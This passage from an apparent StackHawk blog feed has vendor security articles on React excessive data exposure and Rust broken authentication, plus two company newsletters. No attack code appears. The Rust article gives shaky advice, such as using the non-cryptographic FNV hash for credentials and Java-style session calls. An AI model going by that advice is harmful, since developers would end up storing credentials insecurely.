Done&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;You can put the other examples in files and test them out, too. Stick with these parsers and keep your dependencies up to date! &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;&lt;b&gt;Secure Your Apps From Angular XML External Entity Attacks&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Angular XML External Attacks are serious threats that can compromise your applications and expose customer data. But, stick to the right XML parsers and you&amp;#39;re safe. &lt;/p&gt;&lt;p&gt;Now that you understand Angular external entity attacks, you know how to keep your applications and your customers safe. While you&amp;#39;re at it, &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;&lt;u&gt;sign up for a free StackHawk account&lt;/u&gt;&lt;/a&gt; so you can scan for more threats and take your security to the next level! &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Eric Goebelbecker. &lt;/i&gt;&lt;a href=&quot;http://ericgoebelbecker.com/&quot;&gt;&lt;i&gt;&lt;u&gt;Eric&lt;/u&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt; has worked in the financial markets in New York City for 25 years, developing infrastructure for market data and financial information exchange (FIX) protocol networks. He loves to talk about what makes teams effective (or not so effective!).&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[React Excessive Data Exposure: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/react-excessive-data-exposure-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Do you ever wonder what happens with all the extra data your server sends that the front end doesn&amp;#39;t consume? Or what to do with all the extra information in the JSON object you get from your back-end APIs? &lt;/p&gt;&lt;p&gt;This scenario often leads to a potential vulnerability called excessive data exposure. The end result is that attackers can use the extra sensitive data that&amp;#39;s exposed to do something harmful to your users. But what exactly is excessive data exposure? How can it be harmful? And how can you prevent it in your front-end React application? &lt;/p&gt;&lt;p&gt;In this post, I&amp;#39;ll answer these questions for you. I&amp;#39;ll help you understand excessive data exposure with examples and how you can prevent it in your React application.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;What Is Excessive Data Exposure?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Excessive data exposure is a &lt;a href=&quot;https://stackhawk.com/solutions/api-security-testing/&quot;&gt;&lt;u&gt;security vulnerability&lt;/u&gt;&lt;/a&gt; that occurs when your front end requests more data than desired. In web applications, anyone can open the browser developer tools and inspect incoming and outgoing HTTP requests. They can see the data payload received from these requests. &lt;/p&gt;&lt;p&gt;Thus, even if the front end doesn&amp;#39;t necessarily use or consume this data, an attacker can still look at that data via the API call. In cases where an API sends more data that may be sensitive in nature than the front end requires, an attacker can use this data to cause damage to the users. &lt;/p&gt;&lt;p&gt;This is known as excessive data exposure. &lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;In excessive data exposure, there is literally more sensitive data being exposed than anyone has access to. &lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Now let&amp;#39;s understand this further with the help of an example. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Example of Excessive Data Exposure&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Imagine you have an e-commerce store. You also have a large number of users and potential shoppers who regularly check out items from your store. Let&amp;#39;s say that in order to finalize a purchase, your users have to check their credit card details as well as their order details. On the &amp;quot;Confirm Orders&amp;quot; page, you allow users to review what they want to purchase. &lt;/p&gt;&lt;p&gt;Then, on the &amp;quot;Checkout&amp;quot; page, you prompt them to check their credit card details. However, there is a single REST API endpoint for this page. This endpoint brings the items in your cart as well as your credit card details. Here&amp;#39;s what the user flow might look like: &lt;/p&gt;&lt;p&gt;Now imagine if you as a user could share your cart items with a friend. That would generate a shareable URL for your &amp;quot;Confirm Orders&amp;quot; page where an authenticated user can only view data but not modify it. Sounds cool. But as soon as this page loads, you&amp;#39;re hitting an API endpoint that also retrieves that user&amp;#39;s credit card details. An attacker might steal this information to cause potential damage to this user. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;How to Prevent Excessive Data Exposure&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;The most straightforward approach to preventing excessive data exposure is to refactor your REST API endpoints. If you know that your web service is sending out sensitive data that the front end doesn&amp;#39;t need, you need to filter that data in your back-end query itself. This will essentially serve two purposes: preventing unwanted sensitive data from being exposed by the API and optimizing your database query. &lt;/p&gt;&lt;p&gt;However, the first solution is purely server-side. What if you&amp;#39;re using a third-party web service over which you don&amp;#39;t have much control? How will you prevent excessive data exposure from a front-end-based approach? &lt;/p&gt;&lt;p&gt;Instead of using REST APIs, you can use GraphQL-based APIs. GraphQL is an API architecture that gives the front end full control over what data it wants. Thus, now you can use this approach to request only non-sensitive data on the front. Let&amp;#39;s see how we can use GraphQL to prevent over-fetching in a React application. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Set Up a React App&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;As a first step, we&amp;#39;ll go ahead and create a new React application by running the following: &lt;/p&gt;&lt;p&gt;&lt;code&gt;npx create-react-app react-excessive-data-exposure-app&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;That should create a brand new and fresh React project for us. Next, go ahead and edit the contents of the &lt;b&gt;App.js&lt;/b&gt; file as shown below: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Now let&amp;#39;s run the React app locally. To do so, you&amp;#39;ll need to run the following command inside the root directory: &lt;/p&gt;&lt;p&gt;&lt;code&gt;npm start&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Then if you visit &amp;quot;http://localhost:3000&amp;quot;, you should see the following page:&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Using Public GraphQL API&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;To demonstrate how we can use GraphQL to overcome excessive data exposure, we need a GraphQL server or API first. To keep things simple, we won&amp;#39;t go out and create our own GraphQL API or server from scratch. Rather, we&amp;#39;ll use a dummy mock GraphQL API online to get things rolling quickly. We can then communicate with this GraphQL API from the React app we created in the previous section to understand how we can prevent the over-fetching of data on the front end. &lt;/p&gt;&lt;p&gt;
For this purpose, we&amp;#39;ll use &lt;a href=&quot;https://graphqlzero.almansi.me/&quot;&gt;&lt;u&gt;GraphQLZero&lt;/u&gt;&lt;/a&gt;, a free fake online GraphQL API. Let&amp;#39;s understand the use case and example on this API. We can visually test out the API, request, and response structure via the GraphQL playground &lt;a href=&quot;https://graphqlzero.almansi.me/#get-started&quot;&gt;&lt;u&gt;using this tool&lt;/u&gt;&lt;/a&gt;. On the left-hand side, you&amp;#39;ll find an editable section. This is where we can write our GraphQL queries. 
&lt;/p&gt;&lt;p&gt;Add the following query to this section:&lt;/p&gt;&lt;p&gt;&lt;code&gt;query {
  user(id: 1) {
    id
    username
    email
    address {
      geo {
        lat
        lng
      }
    }
  }
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Then click on the big &lt;b&gt;Play&lt;/b&gt; button in the middle. That should display a JSON response in the right section: &lt;/p&gt;&lt;p&gt;Great! Now we&amp;#39;ll communicate to this GraphQL API via our React app. So let&amp;#39;s do that. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Excessive Data Exposure in React&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Inside&lt;b&gt; App.js&lt;/b&gt;, we&amp;#39;ll first import the &lt;b&gt;useState&lt;/b&gt; hook from React so we can store the data obtained from an API call. We&amp;#39;ll also import the &lt;b&gt;useEffect&lt;/b&gt; hook so we can use the &lt;b&gt;componentDidMount&lt;/b&gt; life cycle equivalent&amp;#39;s in hooks to make an API call as soon as the page loads. &lt;/p&gt;&lt;p&gt;&lt;code&gt;import {useEffect, useState} from &amp;#39;react&amp;#39;;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Next, we&amp;#39;ll make use of the &lt;b&gt;useState&lt;/b&gt; hook to create a state variable to store the API&amp;#39;s data: &lt;/p&gt;&lt;p&gt;&lt;code&gt;const [userData,setUserData]=useState();&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;After that, we&amp;#39;ll create a local variable inside our &lt;b&gt;App&lt;/b&gt; component to hold our GraphQL API&amp;#39;s query. It&amp;#39;s a simple string that holds the exact query we tested previously, as shown: &lt;/p&gt;&lt;p&gt;&lt;code&gt;const QUERY=`{
    user(id: 1) {
      id
      username
      email
      address {
        geo {
          lat
          lng
        }
      }
    }
  }`&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;After that, we&amp;#39;ll create a &lt;b&gt;useEffect&lt;/b&gt;, and inside the callback function, write the code to create a GraphQL API request to our mock server using JavaScript&amp;#39;s Fetch API. Here&amp;#39;s what that looks like: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Since we have to pass the QUERY object, each GraphQL API is a POST request, which is why the method is POST in the above code. Then, in the body part of the request, we send the query for the API call in JSON string. Finally, we tackle two &lt;b&gt;.then&lt;/b&gt; callbacks to convert the response to JSON and consequently store it inside our state variable. &lt;/p&gt;&lt;p&gt;
Next, we&amp;#39;ll display this data in our&lt;b&gt; App.js&lt;/b&gt; file: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;
Note that we&amp;#39;re only interested in the username, ID, and email. So we extract those data from the API and then render them on the DOM. Once you do that, here&amp;#39;s what your React app should look like: &lt;/p&gt;&lt;p&gt;That&amp;#39;s cool. But let&amp;#39;s inspect the API call inside the browser&amp;#39;s network tab. &lt;/p&gt;&lt;p&gt;If you notice, we&amp;#39;re only using some information like email, username, and ID, but we also get the user&amp;#39;s address back in the response. Clearly, we&amp;#39;re overreaching data on the front end.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;If this data is exposed to an attacker, it can lead to excessive data exposure. So how can we prevent it? &lt;/p&gt;&lt;/blockquote&gt;&lt;h2&gt;&lt;b&gt;Prevent Excessive Data Exposure in React&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;If we were working with a REST API, it would have been impossible to get around this via a pure front-end solution. Especially in this case, since we&amp;#39;re using a third-party API, we have no control over how the API is structured, what data it sends, etc. Luckily, we&amp;#39;re working with a GraphQL API where the front end can control what data it wants from the request. &lt;/p&gt;&lt;p&gt;Hence, all we need to do is update our query. Here&amp;#39;s what the updated query looks like: &lt;/p&gt;&lt;p&gt;&lt;code&gt;  const QUERY=`{
    user(id: 1) {
      id
      username
      email
    }
  }`&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Now let&amp;#39;s see what data we get back from the API: &lt;/p&gt;&lt;p&gt;
Now we only get the user ID, username, and email back. Awesome! We have prevented unwanted and potentially sensitive information from being exposed on the front end. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;I hope I was able to help you understand what excessive data exposure is and how you can prevent it in your React application. If you&amp;#39;re working with a REST-based back-end architecture, a correct way to tackle this would be to refactor the backend API so that it returns only the required data. Until next time! &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Siddhant Varma. &lt;/i&gt;&lt;a href=&quot;https://www.linkedin.com/in/siddhantvarma99/&quot;&gt;&lt;i&gt;&lt;u&gt;Siddhant&lt;/u&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt; is a full-stack JavaScript developer with expertise in frontend engineering. He’s worked with scaling multiple startups in India and has experience building products in the Ed-Tech and healthcare industries. Siddhant has a passion for teaching and a knack for writing. He&amp;#39;s also taught programming to many graduates, helping them become better future developers.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Rust Broken Authentication Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/rust-broken-authentication-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.rust-lang.org/&quot;&gt;&lt;u&gt;Rust&lt;/u&gt;&lt;/a&gt; is a fast and reliable language that supports asynchronous, and it is quickly becoming the premier choice for performance-focused network and web applications. Authentication is the process of verifying the identity of a user, and it&amp;#39;s an integral part of software development. For example, people trying to get access to the system must prove that they&amp;#39;re legitimate users. This way, unauthorized users won&amp;#39;t get access to the system. &lt;/p&gt;&lt;p&gt;For a language with high performance like Rust, what happens when authentication is broken? This means that cybercriminals can impersonate a legitimate user to cause havoc to the system. When this happens, the system is vulnerable to attacks. In this article, we will explore broken authentication, the different types, and how to avoid them in Rust applications. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;What Is Authentication?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Authentication&quot;&gt;&lt;u&gt;Authentication&lt;/u&gt;&lt;/a&gt; recognizes and verifies the identity of a user, and it happens at the start of the application. The user provides their credentials, which the system can compare with what&amp;#39;s in the database. For example, the credentials are usually a match of the user&amp;#39;s username and password. If the credentials don&amp;#39;t match that of the database, the user won&amp;#39;t get access to the system. This is because the system will consider them an illegitimate user. &lt;/p&gt;&lt;p&gt;While there are different means of authentication for different systems, users must provide a means of identification. For example, the credential must not be a password or an email address. User authentication is in three categories: The system will authenticate the user according to who they are, what they know, and what they have. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;What Is Broken Authentication?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Applications are prone to vulnerabilities that can cause a security breach. Broken authentication is one such vulnerability.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;According to OWASP (Open Web Application Security Project), broken authentication is the second on the list of critical vulnerabilities. &lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Broken authentication consists of vulnerabilities that cybercriminals can exploit to impersonate legitimate users. Sometimes, these vulnerabilities can be a result of developer error or from APIs (application programming interfaces) in the application. For example, if the application uses an API with a security breach, it could inherit them. Also, if an application uses a library that&amp;#39;s vulnerable to authentication, it can cause a security breach.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Broken Authentication Types&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;There are different types of broken authentication vulnerabilities. In this section, we&amp;#39;ll explore the different ways authentication can be porous and cause a vulnerability. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Predictable Login Credentials&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Sometimes, users choose credentials that are easily predictable. For instance, passwords like &amp;quot;Admin&amp;quot; or &amp;quot;Password1&amp;quot; can be easily predictable for cybercriminals. A downside to this is that attackers can easily get hold of the user&amp;#39;s account. &lt;/p&gt;&lt;p&gt;For example, criminals can apply brute force attacks until they can get access to the account of the user. A brute force attack isn&amp;#39;t the only way attackers can get into a user&amp;#39;s account. If the user permits a weak credential recovery process, the attacker can intercept the credential. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Sensitive Data Exposure&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;While software development firms try as much as possible to protect user data, sensitive data is vulnerable to exposure in many ways. For example, user login information can get exposed before they get to the database. Also, during password recovery when users forget their credentials, they could get exposed. &lt;/p&gt;&lt;p&gt;Sometimes, encryption doesn&amp;#39;t protect user data from exposure. This is because attackers can decrypt data that has been poorly encrypted. For instance, research shows a vulnerability in version 1.0 that can allow attackers to decrypt data passing between a web server and the user. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Session Hijacking &lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Session hijacking is a term that describes when an attacker successfully takes over a legitimate user&amp;#39;s account. With this move, the system thinks the attacker is the legitimate user and they get access to all user information. &lt;/p&gt;&lt;p&gt;Session hijacking happens when attackers compromise session tokens. These session tokens are unique strings of data that only the server and browser know about. This is for network communication, where the server trusts a session token from a browser and allows the user access. In session hijacking, the attacker can take over the user&amp;#39;s session after the legitimate user has logged in. Session hijacking is different from session fixation. The former hijacks a user session after the user logs in, while the latter launches an attack before the user logs in. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Rainbow Attacks&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Rainbow attacks are a series of attacks that target an application&amp;#39;s database. When attackers target the database, they can get user credentials and let themselves into the user&amp;#39;s account. A rainbow table is a table of reversed hashes that attackers can use to collect password hashes and decode them. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Session ID Vulnerability&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Session ID vulnerabilities exploit the fact that some systems allow attackers to get a valid session ID and then manipulate users to authenticate themselves with the session ID. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;How to Avoid Broken Authentication in Rust&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;We&amp;#39;ve explored the different broken authentication types in Rust applications. In this section, we&amp;#39;ll discuss how to avoid them. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Encrypt Password and Add Salt to Hashes&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Credential encryption can go a long way in protecting user data from exposure. For instance, if an attacker gets hold of a user&amp;#39;s credentials, they&amp;#39;ll have to decrypt it to a human-readable string. In Rust, developers can use libraries like &lt;a href=&quot;https://doc.servo.org/fnv/&quot;&gt;&lt;u&gt;rust-fnv&lt;/u&gt;&lt;/a&gt; to hash user credentials. Here&amp;#39;s an example of how to use this Rust library in a hashtable or HashSet: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;What this does is use the FnvHashMap and FnvHashSetwhich to store a hash of credentials in a HashMap or HashSet. Sometimes, firms only want to hash the user&amp;#39;s password. For this, they can use Rust&amp;#39;s &lt;a href=&quot;https://docs.rs/bcrypt/latest/bcrypt/&quot;&gt;&lt;u&gt;bcrypt&lt;/u&gt;&lt;/a&gt; library. An advantage of using this library is the addition of &lt;a href=&quot;https://en.wikipedia.org/wiki/Salt_(cryptography)#:~:text=In%20cryptography%2C%20a%20salt%20is%20random%20data%20that,Salts%20are%20used%20to%20safeguard%20passwords%20in%20storage.&quot;&gt;&lt;u&gt;salt&lt;/u&gt;&lt;/a&gt; to hashes. Here&amp;#39;s how to use the bcrypt library: &lt;/p&gt;&lt;p&gt;&lt;code&gt;extern crate bcrypt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;use bcrypt::{DEFAULT_COST, hash, verify};&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;let hashed = hash(&amp;quot;hunter2&amp;quot;, DEFAULT_COST)?;
let valid = verify(&amp;quot;hunter2&amp;quot;, &amp;amp;hashed)?;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;/code&gt;&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Use Passwordless Authentication and Session Invalidation&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;To avoid credential exposure, many firms are using passwordless authentication. In Rust, users can incorporate this with the &lt;a href=&quot;https://docs.rs/auth0/0.3.0/auth0/authentication/passwordless/index.html&quot;&gt;&lt;u&gt;Auth0 passwordless&lt;/u&gt;&lt;/a&gt; feature. This feature allows you to authenticate a user by sending a magic link or code to them. This magic link/code can be sent to the user&amp;#39;s email address or phone number. &lt;/p&gt;&lt;p&gt;However, what happens when attackers launch a series of attacks to hijack the user&amp;#39;s session? This is where session invalidation comes in. &lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Session invalidation clears authentication objects and marks them as invalid.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;For example, when an attacker tries to use the account, they&amp;#39;ll be logged out because the session is invalid. To do this, developers can incorporate either of the methods below: &lt;/p&gt;&lt;p&gt;&lt;code&gt;HttpSession.invalidate()&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;session.inValidate()&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;/code&gt;&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Session Time-Outs&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Developers can stop session hijacking, session fixation, and other attacks that can result from vulnerable session IDs by incorporating session time-outs. A session time-out is the time window when the user is inactive. When a user logs in to their account and stays inactive for a long time, attackers can steal user credentials or even hijack their session. What session time-outs do is lay out a time where the user will be logged out if they remain inactive. &lt;/p&gt;&lt;p&gt;In Rust, most libraries have the time-out traits for their sessions. For instance, in Rust&amp;#39;s &lt;a href=&quot;https://docs.rs/yubihsm/0.24.0/yubihsm/index.html&quot;&gt;&lt;u&gt;yubihsm &lt;/u&gt;&lt;/a&gt;crate, developers can use the time-out struct in the session module. This allows them to create a new time-out by setting the duration of the time-out. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Rust is an amazing language when it comes to security. For example, the compiler gives out errors like type errors when the developer makes a wrong choice. However, what happens when there&amp;#39;s no compile-time error but users are making an error that&amp;#39;ll cause a security vulnerability? This is where monitoring tools like &lt;a href=&quot;https://www.stackhawk.com/&quot;&gt;&lt;u&gt;StackHawk&lt;/u&gt;&lt;/a&gt; come into play. For instance, they can capture unsafe code that might lead to broken authentication. With StackHawk, you can also test &lt;a href=&quot;https://www.stackhawk.com/solutions/api-security-testing&quot;&gt;&lt;u&gt;APIs and third-party libraries&lt;/u&gt;&lt;/a&gt; in your application for security. 
&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Ukpai Ugochi. &lt;/i&gt;&lt;a href=&quot;https://twitter.com/hannydevelop&quot;&gt;&lt;i&gt;&lt;u&gt;Ukpai&lt;/u&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt; is a full-stack JavaScript developer (MEVN), and she contributes to FOSS in her free time. She loves to share knowledge about her transition from marine engineering to software development to encourage people who love software development and don&amp;#39;t know where to begin.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[StackHawk March Newsletter 2022]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/stackhawk-march-newsletter-2022</guid><category><![CDATA[Monthly Newsletters]]></category><dc:creator><![CDATA[Rebecca Warren]]></dc:creator><content:encoded>&lt;h2&gt;The Changelog: New Features to Kaakaww About&lt;/h2&gt;&lt;p&gt;&lt;b&gt;Auth Wizard. &lt;/b&gt;&lt;/p&gt;&lt;p&gt;We know getting authentication properly configured is no easy task. But now, you can quickly get an updated YAML that is customized to your auth scenario in the StackHawk UI.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Defect Dojo Integration. &lt;/b&gt;&lt;/p&gt;&lt;p&gt;For teams that track vulnerabilities in Defect Dojo, you can now send StackHawk findings with our integration. And, updates to scan results can auto-close findings in Defect Dojo. Check out the &lt;a href=&quot;https://docs.stackhawk.com/workflow-integrations/defect-dojo.html&quot;&gt;docs&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;[ICYMI] Log4Shell Beta. &lt;/b&gt;&lt;/p&gt;&lt;p&gt;A couple of lines of YAML added to your StackHawk config is all it takes to see if your application has a discoverable and exploitable Log4Shell vulnerability. &lt;a href=&quot;mailto:beta@stackhawk.com&quot;&gt;Drop us a line&lt;/a&gt; to join the beta or &lt;a href=&quot;https://docs.stackhawk.com/log4shell/&quot;&gt;read the docs&lt;/a&gt; for more information.&lt;/p&gt;&lt;h2&gt;⚡️ ZAPCon 2022 Replay&lt;/h2&gt;&lt;p&gt;This month, StackHawk hosted &lt;a href=&quot;https://zapcon.io/&quot;&gt;ZAPCon 2022&lt;/a&gt;, a free virtual conference dedicated to helping users level up their ZAP and AppSec skills. &lt;/p&gt;&lt;p&gt; If you missed the chance to attend ZAPCon, don’t worry. The ZAPCon 2022 Replay is now available on &lt;a href=&quot;https://www.youtube.com/channel/UCD3gULJ53AgTHniwATxwdgg&quot;&gt;StackHawk’s YouTube channel&lt;/a&gt;. You can watch all the talks from security experts, follow along to hands-on workshops, and catch exclusive announcements about ZAP project updates.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/playlist?list=PLz_NN8o2uh8A0rKg-2y-5FoAffGB1UncM&quot;&gt;Watch the Replay&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Introducing The ZAP Fund&lt;/h2&gt;&lt;p&gt; At ZAPCon, StackHawk CEO Joni Klippert announced the &lt;a href=&quot;https://www.stackhawk.com/blog/the-zap-fund/&quot;&gt;ZAP Fund&lt;/a&gt;, a $100,000 fund dedicated to supporting the ZAP and the project’s community. &lt;/p&gt;&lt;p&gt;A portion of the fund is allotted to resolving open ZAP issues through a bounty program. If you want to participate in the bounty program, visit the website below to learn more. 👇&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/stackhawk-announces-hawkscan-test-engine/&quot;&gt;The ZAP Fund&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Other Happenings: Because We Have to Keep Corporate Busy Somehow&lt;/h2&gt;&lt;p&gt;&lt;b&gt;📺 Hawk Talks&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/playlist?list=PLz_NN8o2uh8A0rKg-2y-5FoAffGB1UncM&quot;&gt;ZAPCon 2022 Replay&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://youtu.be/vTFLGwqX0eg&quot;&gt;Friday Hacking with HawkScan - Log4Shell testing with HawkScan&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://youtu.be/CMyfZb0mTqQ&quot;&gt;Friday Hacking on ZAP - ZAP Standard Spider with Simon Bennetts&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=V864fLPct-o&amp;list=PLz_NN8o2uh8A0rKg-2y-5FoAffGB1UncM&amp;index=16&amp;t=5s&quot;&gt;Automated Security Testing with GitHub Actions Workshop @ ZAPCon&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;📖Reading Material&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/the-zap-fund/&quot;&gt;StackHawk Announces $100K Fund Dedicated to Improving ZAP and the ZAP Community&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://leaddev.com/building-better-software/shifting-left-security-five-steps-transformation&quot;&gt;Shifting Left on Security: Five Steps to Transformation&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;[from the archives]&lt;/b&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/how-security-based-development-should-work/&quot;&gt;How Security-Based Development Should Work&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;📽 Virtual Events&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;April 6-7: &lt;a href=&quot;https://apisecure.co/&quot;&gt;APIsecure&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;April 12: &lt;a href=&quot;https://www.ctoconnection.com/events/online/2022-04-12-shifting-security-left-with-devsecops&quot;&gt;CTO Summit: Shifting security left with DevSecOps&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;April 21: &lt;a href=&quot;https://www.ctoconnection.com/events/in-person/2022-04-21-the-2022-austin-cto-summit&quot;&gt;The Austin 2022 CTO Summit&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;April 25: &lt;a href=&quot;https://webinars.securityboulevard.com/appsec-0?utm_campaign=%242022.04.25%24_EdCal_Panel_SB&amp;utm_source=StackHawk&quot;&gt;AppSec Panel on Security Boulevard&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;💼&lt;b&gt;Jobs @ StackHawk&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Developer Advocate&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Solutions Architect&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;❤️ Give Us Some Love&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Share the goodness of developer-centric application security. We are always grateful for recommendations and referrals! We’d love for you to share StackHawk with your friends and colleagues, or &lt;a href=&quot;https://www.g2.com/products/stackhawk/reviews&quot;&gt;leave us a review on g2&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[StackHawk April Newsletter 2022]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/stackhawk-april-newsletter-snyk-integration-upcoming-events-and-more</guid><category><![CDATA[Monthly Newsletters]]></category><dc:creator><![CDATA[Rebecca Warren]]></dc:creator><content:encoded>&lt;h2&gt;The Changelog: New Features to KaaKaww About&lt;/h2&gt;&lt;p&gt;&lt;b&gt;Our New Snyk Code Integration is Live! &lt;/b&gt;With StackHawk’s new Snyk integration, teams can correlate security issues between dynamic security testing (DAST) and static security testing (SAST) to find and fix the most important application and API vulnerabilities.&lt;/p&gt;&lt;p&gt;Use this integration to focus your team on the issues that are most critical to fix and to remediate those issues on the fly.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://docs.stackhawk.com/workflow-integrations/snyk.html&quot;&gt;&lt;b&gt;📖 Check out the 